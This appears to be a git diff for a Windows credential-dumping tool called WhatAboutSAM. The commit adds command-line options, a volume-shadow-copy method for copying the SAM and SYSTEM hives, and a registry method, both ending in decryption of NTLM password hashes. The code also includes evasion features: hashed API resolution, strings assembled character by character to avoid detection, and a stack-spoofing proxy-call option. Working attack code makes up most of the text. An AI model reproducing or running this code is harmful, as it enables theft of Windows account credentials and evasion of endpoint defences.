diff --git a/.gitignore b/.gitignore index 8a30d25..f1e8799 100644 --- a/.gitignore +++ b/.gitignore @@ -396,3 +396,5 @@ FodyWeavers.xsd # JetBrains Rider *.sln.iml + +WhatAboutSAM/WhatAboutSAM/lib/cryptlib-debug.lib \ No newline at end of file diff --git a/README.md b/README.md index 2cac8f2..ce2c43e 100644 --- a/README.md +++ b/README.md @@ -27,9 +27,9 @@ Please, take a look at the credits because without these projects this would not - [x] API Hashing - [x] Travis CI (Finally done with Github Actions) - [x] Debug Branch vs Release Branch -- [ ] Shadow Snapshot Method +- [x] Shadow Snapshot Method - [ ] Test Old Algorithm. What a bummer. Microsoft Changed storage in SAM in Windows 10 1909 -- [ ] Command Line Parameters +- [x] Command Line Parameters - [ ] Add more comments :) - [ ] Debug prints - [ ] Elevate to SYSTEM diff --git a/WhatAboutSAM/WhatAboutSAM/WhatAboutSAM.vcxproj b/WhatAboutSAM/WhatAboutSAM/WhatAboutSAM.vcxproj index 59463d4..6dee0ed 100644 --- a/WhatAboutSAM/WhatAboutSAM/WhatAboutSAM.vcxproj +++ b/WhatAboutSAM/WhatAboutSAM/WhatAboutSAM.vcxproj @@ -126,7 +126,7 @@ Console true - $(SolutionDir)WhatAboutSAM\lib\cryptlib.lib;vssapi.lib;"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\km\x64\offreg.lib";%(AdditionalDependencies) + $(SolutionDir)WhatAboutSAM\lib\cryptlib-debug.lib;vssapi.lib;$(WindowsSdkDir)lib\$(TargetPlatformVersion)\km\x64\offreg.lib;%(AdditionalDependencies) @@ -144,7 +144,7 @@ true true true - $(SolutionDir)WhatAboutSAM\lib\cryptlib.lib;vssapi.lib;C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\km\x64\offreg.lib;%(AdditionalDependencies) + $(SolutionDir)WhatAboutSAM\lib\cryptlib-release.lib;vssapi.lib;$(WindowsSdkDir)lib\$(TargetPlatformVersion)\km\x64\offreg.lib;%(AdditionalDependencies) diff --git a/WhatAboutSAM/WhatAboutSAM/include/main.h b/WhatAboutSAM/WhatAboutSAM/include/main.h index c851153..d3d6555 100644 --- a/WhatAboutSAM/WhatAboutSAM/include/main.h +++ b/WhatAboutSAM/WhatAboutSAM/include/main.h @@ -11,8 +11,6 @@ #define MAX_SAM_ENTRIES 100 #define STR_TO_KEY_LEN 8 -#define PROXY_NT_CALLS 1 - #define NtOpenKey_RFDT 0xB9491C52 #define NtQueryKey_RFDT 0x3C34AAD6 #define NtEnumerateKey_RFDT 0x8E67DF26 diff --git a/WhatAboutSAM/WhatAboutSAM/include/ntdll.h b/WhatAboutSAM/WhatAboutSAM/include/ntdll.h index 945283b..5465775 100644 --- a/WhatAboutSAM/WhatAboutSAM/include/ntdll.h +++ b/WhatAboutSAM/WhatAboutSAM/include/ntdll.h @@ -9,7 +9,6 @@ typedef enum _KEY_INFORMATION_CLASS { KeyFlagsInformation, // KEY_FLAGS_INFORMATION KeyVirtualizationInformation, // KEY_VIRTUALIZATION_INFORMATION KeyHandleTagsInformation, // KEY_HANDLE_TAGS_INFORMATION - KeyTrustInformation, // KEY_TRUST_INFORMATION KeyLayerInformation, // KEY_LAYER_INFORMATION MaxKeyInfoClass } KEY_INFORMATION_CLASS; diff --git a/WhatAboutSAM/WhatAboutSAM/include/offreg.h b/WhatAboutSAM/WhatAboutSAM/include/offreg.h index 4b21cc6..eff7a32 100644 --- a/WhatAboutSAM/WhatAboutSAM/include/offreg.h +++ b/WhatAboutSAM/WhatAboutSAM/include/offreg.h @@ -16,7 +16,6 @@ Module Name: #pragma once #ifndef __OFFREG_H__ -#define __OFFREG_H__ #ifdef __cplusplus extern "C" diff --git a/WhatAboutSAM/WhatAboutSAM/lib/cryptlib.lib b/WhatAboutSAM/WhatAboutSAM/lib/cryptlib-release.lib similarity index 100% rename from WhatAboutSAM/WhatAboutSAM/lib/cryptlib.lib rename to WhatAboutSAM/WhatAboutSAM/lib/cryptlib-release.lib diff --git a/WhatAboutSAM/WhatAboutSAM/main.cpp b/WhatAboutSAM/WhatAboutSAM/main.cpp index 20aa490..ec48890 100644 --- a/WhatAboutSAM/WhatAboutSAM/main.cpp +++ b/WhatAboutSAM/WhatAboutSAM/main.cpp @@ -8,10 +8,6 @@ #include #include -//#include -//#include -//#include -//#include #include "include/main.h" #include "include/proxyNtCalls.h" @@ -64,7 +60,7 @@ FARPROC myGetProcAddress(DWORD moduleHash, DWORD exportHash) { WideCharToMultiByte(CP_ACP, 0, dllEntry->FullDllName.Buffer, dllEntry->FullDllName.Length, dllPath, dllNameLength, NULL, NULL); CharUpperA(dllPath); - CHAR * last = strrchr(dllPath, '\\'); + CHAR* last = strrchr(dllPath, '\\'); last++; if (HashString2A(last) == moduleHash) { @@ -264,14 +260,14 @@ void getSAM(PSAM samRegEntries[], PULONG size) { ULONG lenRet = nEntries * sizeof(SAM); CopyMemory(size, &lenRet, sizeof(ULONG)); - + if (samRegEntries != NULL) { - for (int i = 0; i < nEntries; i++) { + for (int i = 0; i < nEntries; i++) { samRegEntries[i] = sams[i]; //HeapFree(GetProcessHeap(), 0, sams[i]); } } - + return; } @@ -279,7 +275,7 @@ void getSAM(PSAM samRegEntries[], PULONG size) { void decryptSAM(PSAM samRegEntries[], int entries) { CHAR strMagic1[] = { '!','@','#','$','%','^','&','*','(',')','q','w','e','r','t','y','U','I','O','P','A','z','x','c','v','b','n','m','Q','Q','Q','Q','Q','Q','Q','Q','Q','Q','Q','Q',')','(','*','@','&','%', '\0' }; CHAR strMagic2[] = { '0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9', '\0' }; - CHAR strMagic3[] = { 'N','T','P','A','S','S','W','O','R','D', '\0'}; + CHAR strMagic3[] = { 'N','T','P','A','S','S','W','O','R','D', '\0' }; for (int i = 0; i < entries; i++) { LONG offset = 0; @@ -297,7 +293,7 @@ void decryptSAM(PSAM samRegEntries[], int entries) { BYTE bootKey[16]; getBootKey(samRegEntries[i], bootKey); - BYTE encNTLMrecovered[16] = {}; + BYTE encNTLMrecovered[16] = {}; if (samRegEntries[i]->v[0xAC] == 0x38) { BYTE encSyskey[16] = {}; @@ -308,7 +304,7 @@ void decryptSAM(PSAM samRegEntries[], int entries) { CBC_Mode< AES >::Decryption d; d.SetKeyWithIV(bootKey, 16, encSyskeyIV, 16); - + BYTE sysKey[16] = {}; ArraySink rs(sysKey, 16); ArraySource s(encSyskey, 16, true, @@ -326,7 +322,7 @@ void decryptSAM(PSAM samRegEntries[], int entries) { CBC_Mode< AES >::Decryption d2; d2.SetKeyWithIV(sysKey, 16, encNTLMIV, 16); - + ArraySink rs2(encNTLMrecovered, 16); ArraySource s2(encNTLM, 16, true, new StreamTransformationFilter(d2, @@ -480,7 +476,7 @@ void getClasses(PSAM samRegEntry) { PWCHAR sAll[4] = { sJD, sSkew1, sGBG, sData }; - WCHAR Reg[] = { L'\\',L'R',L'e',L'g',L'i',L's',L't',L'r',L'y',L'\\',L'M',L'a',L'c',L'h',L'i',L'n',L'e',L'\\',L'S',L'Y',L'S',L'T',L'E',L'M',L'\\',L'C',L'u',L'r',L'r',L'e',L'n',L't',L'C',L'o',L'n',L't',L'r',L'o',L'l',L'S',L'e',L't',L'\\',L'C',L'o',L'n',L't',L'r',L'o',L'l',L'\\',L'L',L's',L'a',L'\\', L'\0'}; + WCHAR Reg[] = { L'\\',L'R',L'e',L'g',L'i',L's',L't',L'r',L'y',L'\\',L'M',L'a',L'c',L'h',L'i',L'n',L'e',L'\\',L'S',L'Y',L'S',L'T',L'E',L'M',L'\\',L'C',L'u',L'r',L'r',L'e',L'n',L't',L'C',L'o',L'n',L't',L'r',L'o',L'l',L'S',L'e',L't',L'\\',L'C',L'o',L'n',L't',L'r',L'o',L'l',L'\\',L'L',L's',L'a',L'\\', L'\0' }; WCHAR resul[MAX_KEY_VALUE_LENGTH] = L"\0"; @@ -616,7 +612,7 @@ DWORD HashString2A(LPCSTR String) } int main(int argc, char** argv) { - #ifdef PROXY_NT_CALLS +#ifdef PROXY_NT_CALLS pMyNtOpenKey = proxyNtOpenKey; pMyNtQueryKey = proxyNtQueryKey; @@ -626,8 +622,8 @@ int main(int argc, char** argv) { pMyNtClose = proxyNtCloseKey; pMyRtlInitUnicodeString = proxyRtlInitUnicodeString; - #endif // PROXY_NT_CALLS - #ifndef PROXY_NT_CALLS +#endif // PROXY_NT_CALLS +#ifndef PROXY_NT_CALLS FARPROC auxPMyNtOpenKey = myGetProcAddress(ntdlldll_RFDT, NtOpenKey_RFDT); FARPROC auxPMyNtQueryKey = myGetProcAddress(ntdlldll_RFDT, NtQueryKey_RFDT); @@ -635,7 +631,7 @@ int main(int argc, char** argv) { FARPROC auxPMyNtQueryValueKey = myGetProcAddress(ntdlldll_RFDT, NtQueryValueKey_RFDT); FARPROC auxPMyNtEnumerateValueKey = myGetProcAddress(ntdlldll_RFDT, NtEnumerateValueKey_RFDT); FARPROC auxPMyNtClose = myGetProcAddress(ntdlldll_RFDT, NtClose_RFDT); - FARPROC auxPMyRtlInitUnicodeString = myGetProcAddress(ntdlldll_RFDT, rtlini); + FARPROC auxPMyRtlInitUnicodeString = myGetProcAddress(ntdlldll_RFDT, RtlInitUnicodeString_RFDT); pMyNtOpenKey = (myNtOpenKey)auxPMyNtOpenKey; pMyNtQueryKey = (myNtQueryKey)auxPMyNtQueryKey; @@ -644,29 +640,113 @@ int main(int argc, char** argv) { pMyNtEnumerateValueKey = (myNtEnumerateValueKey)auxPMyNtEnumerateValueKey; pMyNtClose = myNtClose(auxPMyNtClose); pMyRtlInitUnicodeString = (myRtlInitUnicodeString)auxPMyRtlInitUnicodeString; - - #endif // !PROXY_NT_CALLS - // Time to debug as always works at first :D - // - ULONG size; - //getSAM(NULL, &size); +#endif // !PROXY_NT_CALLS + + BOOL useShadowSnapshotFlag = FALSE; + BOOL useRegistryFlag = FALSE; + BOOL debugFlag = FALSE; + BOOL proxyNTCallsFlag = FALSE; + + CHAR helpOptionShort[] = "-h"; + CHAR helpOptionLong[] = "--help"; + CHAR ssOptionShort[] = "-ss"; + CHAR ssOptionLong[] = "--shadowSnapshot"; + CHAR registryOptionShort[] = "-r"; + CHAR registryOptionLong[] = "--registry"; + CHAR debugOptionShort[] = "-d"; + CHAR debugOptionLong[] = "--debug"; + CHAR stackSpoofOptionShort[] = "-cc"; + CHAR stackSpoofOptionLong[] = "--customCallback"; + + if (argc == 1) { + printf("Usage: %s [options]\n", argv[0]); + printf("Options:\n"); + printf(" %s, %s Show this help message\n", helpOptionShort, helpOptionLong); + printf(" %s, %s\tUse shadow snapshot method\n", ssOptionShort, ssOptionLong); + printf(" %s, %s\t\tUse registry method\n", registryOptionShort, registryOptionLong); + printf(" %s, %s\t\tEnable debug mode\n", debugOptionShort, debugOptionLong); + printf(" %s, %s\tUse custom callback mechanism (Stack Spoofing)\n", stackSpoofOptionShort, stackSpoofOptionLong); + } + + for (int i = 1; i < argc; i++) { + PCHAR currentArg = argv[i]; + + if (strncmp(currentArg, helpOptionShort, strlen(helpOptionShort)) == 0 || strncmp(currentArg, helpOptionLong, strlen(helpOptionLong)) == 0) { + printf("Usage: %s [options]\n", argv[0]); + printf("Options:\n"); + printf(" %s, %s Show this help message\n", helpOptionShort, helpOptionLong); + printf(" %s, %s\tUse shadow snapshot method\n", ssOptionShort, ssOptionLong); + printf(" %s, %s\t\tUse registry method\n", registryOptionShort, registryOptionLong); + printf(" %s, %s\t\tEnable debug mode\n", debugOptionShort, debugOptionLong); + printf(" %s, %s\tUse custom callback mechanism (Stack Spoofing)\n", stackSpoofOptionShort, stackSpoofOptionLong); + } + else if (strncmp(currentArg, ssOptionShort, strlen(ssOptionShort)) == 0 || strncmp(currentArg, ssOptionLong, strlen(ssOptionLong)) == 0) { + useShadowSnapshotFlag = TRUE; + } + else if (strncmp(currentArg, registryOptionShort, strlen(registryOptionShort)) == 0 || strncmp(currentArg, registryOptionLong, strlen(registryOptionLong)) == 0) { + useRegistryFlag = TRUE; + } + else if (strncmp(currentArg, debugOptionShort, strlen(debugOptionShort)) == 0 || strncmp(currentArg, debugOptionLong, strlen(debugOptionLong)) == 0) { + debugFlag = TRUE; + } + else if (strncmp(currentArg, stackSpoofOptionShort, strlen(stackSpoofOptionShort)) == 0 || strncmp(currentArg, stackSpoofOptionLong, strlen(stackSpoofOptionLong)) == 0) { + proxyNTCallsFlag = TRUE; + } + } + + if (proxyNTCallsFlag) { + pMyNtOpenKey = proxyNtOpenKey; + pMyNtQueryKey = proxyNtQueryKey; + pMyNtEnumerateKey = proxyNtEnumerateKey; + pMyNtQueryValueKey = proxyNtQueryValueKey; + pMyNtEnumerateValueKey = proxyNtEnumerateValueKey; + pMyNtClose = proxyNtCloseKey; + pMyRtlInitUnicodeString = proxyRtlInitUnicodeString; + } + else { + FARPROC auxPMyNtOpenKey = myGetProcAddress(ntdlldll_RFDT, NtOpenKey_RFDT); + FARPROC auxPMyNtQueryKey = myGetProcAddress(ntdlldll_RFDT, NtQueryKey_RFDT); + FARPROC auxPMyNtEnumerateKey = myGetProcAddress(ntdlldll_RFDT, NtEnumerateKey_RFDT); + FARPROC auxPMyNtQueryValueKey = myGetProcAddress(ntdlldll_RFDT, NtQueryValueKey_RFDT); + FARPROC auxPMyNtEnumerateValueKey = myGetProcAddress(ntdlldll_RFDT, NtEnumerateValueKey_RFDT); + FARPROC auxPMyNtClose = myGetProcAddress(ntdlldll_RFDT, NtClose_RFDT); + FARPROC auxPMyRtlInitUnicodeString = myGetProcAddress(ntdlldll_RFDT, RtlInitUnicodeString_RFDT); + + pMyNtOpenKey = (myNtOpenKey)auxPMyNtOpenKey; + pMyNtQueryKey = (myNtQueryKey)auxPMyNtQueryKey; + pMyNtEnumerateKey = (myNtEnumerateKey)auxPMyNtEnumerateKey; + pMyNtQueryValueKey = (myNtQueryValueKey)auxPMyNtQueryValueKey; + pMyNtEnumerateValueKey = (myNtEnumerateValueKey)auxPMyNtEnumerateValueKey; + pMyNtClose = myNtClose(auxPMyNtClose); + pMyRtlInitUnicodeString = (myRtlInitUnicodeString)auxPMyRtlInitUnicodeString; + } + + + if (useRegistryFlag) { + ULONG size; + PSAM sam[MAX_SAM_ENTRIES] = {}; - // Array of PSAM - PSAM sam[MAX_SAM_ENTRIES] = {}; + getSAM(NULL, &size); - //getSAM(sam, &size); + getSAM(sam, &size); - //decryptSAM(sam, size/sizeof(SAM)); + decryptSAM(sam, size / sizeof(SAM)); + } - //HeapFree(GetProcessHeap(), 0, sam); + if (useShadowSnapshotFlag) { + ULONG size; + PSAM sam[MAX_SAM_ENTRIES] = {}; - WCHAR sourcePathFileSAM[MAX_PATH * sizeof(WCHAR)]; - WCHAR sourcePathFileSYSTEM[MAX_PATH * sizeof(WCHAR)]; - createSS(sourcePathFileSAM, sourcePathFileSYSTEM); + WCHAR sourcePathFileSAM[MAX_PATH * sizeof(WCHAR)]; + WCHAR sourcePathFileSYSTEM[MAX_PATH * sizeof(WCHAR)]; + createSS(sourcePathFileSAM, sourcePathFileSYSTEM); - getSAMfromRegf(NULL, &size, sourcePathFileSAM, sourcePathFileSYSTEM); - getSAMfromRegf(sam, &size, sourcePathFileSAM, sourcePathFileSYSTEM); + getSAMfromRegf(NULL, &size, sourcePathFileSAM, sourcePathFileSYSTEM); + getSAMfromRegf(sam, &size, sourcePathFileSAM, sourcePathFileSYSTEM); + + decryptSAM(sam, size / sizeof(SAM)); + } - decryptSAM(sam, size / sizeof(SAM)); + // Debug option TODO } \ No newline at end of file diff --git a/WhatAboutSAM/WhatAboutSAM/shadowMethod.cpp b/WhatAboutSAM/WhatAboutSAM/shadowMethod.cpp index 19f1cee..8599a78 100644 --- a/WhatAboutSAM/WhatAboutSAM/shadowMethod.cpp +++ b/WhatAboutSAM/WhatAboutSAM/shadowMethod.cpp @@ -11,7 +11,7 @@ // Special mention to ShadowDuplicator from Peter Upfold because I took some much code from it to implement the shadow copy method and get SYSTEM and SAM from it // https://github.com/PeterUpfold // - + #define _CRT_SECURE_NO_WARNINGS #include @@ -27,16 +27,16 @@ BOOL createSS(WCHAR sourcePathFileSAM[MAX_PATH * sizeof(WCHAR)], WCHAR sourcePat HRESULT result; int strResult; BOOL resultRead; - BYTE * SAM; - BYTE * SYSTEM; + BYTE* SAM; + BYTE* SYSTEM; DWORD numberBytesRead; DWORD fileSize; HANDLE file; - IVssBackupComponents * backupComponents = NULL; - IVssAsync * vssAsync = NULL; + IVssBackupComponents* backupComponents = NULL; + IVssAsync* vssAsync = NULL; HRESULT asyncResult = E_FAIL; - VSS_ID * snapshotSetId = NULL; - VSS_ID * snapshotId = NULL; + VSS_ID* snapshotSetId = NULL; + VSS_ID* snapshotId = NULL; VSS_SNAPSHOT_PROP snapshotProp{}; // For now, we presuppose C: @@ -54,7 +54,7 @@ BOOL createSS(WCHAR sourcePathFileSAM[MAX_PATH * sizeof(WCHAR)], WCHAR sourcePat if (result != S_OK) { exit(result); } - + result = CreateVssBackupComponents(&backupComponents); if (result != S_OK) { @@ -160,7 +160,6 @@ BOOL createSS(WCHAR sourcePathFileSAM[MAX_PATH * sizeof(WCHAR)], WCHAR sourcePat // SAM WCHAR auxSAM[] = { L'W',L'i',L'n',L'd',L'o',L'w',L's',L'\\',L'S',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'C',L'o',L'n',L'f',L'i',L'g',L'\\',L'S',L'A',L'M', L'\0' }; strResult = swprintf(sourcePathFileSAM, MAX_PATH * sizeof(WCHAR), L"%s\\%s", snapshotProp.m_pwszSnapshotDeviceObject, auxSAM); - // SYSTEM WCHAR auxSYSTEM[] = { L'W',L'i',L'n',L'd',L'o',L'w',L's',L'\\',L'S',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'C',L'o',L'n',L'f',L'i',L'g',L'\\',L'S',L'Y',L'S',L'T',L'E',L'M', L'\0' }; strResult = swprintf(sourcePathFileSYSTEM, MAX_PATH * sizeof(WCHAR), L"%s\\%s", snapshotProp.m_pwszSnapshotDeviceObject, auxSYSTEM); @@ -359,7 +358,7 @@ void getClassesfromRegf(PSAM samRegEntry, WCHAR SYSTEMPath[MAX_PATH]) { if (!NT_SUCCESS(ret)) { exit(ret); } - + ret = OROpenKey(systemHive, L"ControlSet001", &key); if (!NT_SUCCESS(ret)) { @@ -401,4 +400,4 @@ void getClassesfromRegf(PSAM samRegEntry, WCHAR SYSTEMPath[MAX_PATH]) { wcscpy_s(samRegEntry->classes, MAX_KEY_VALUE_LENGTH, resul); return; -} +} \ No newline at end of file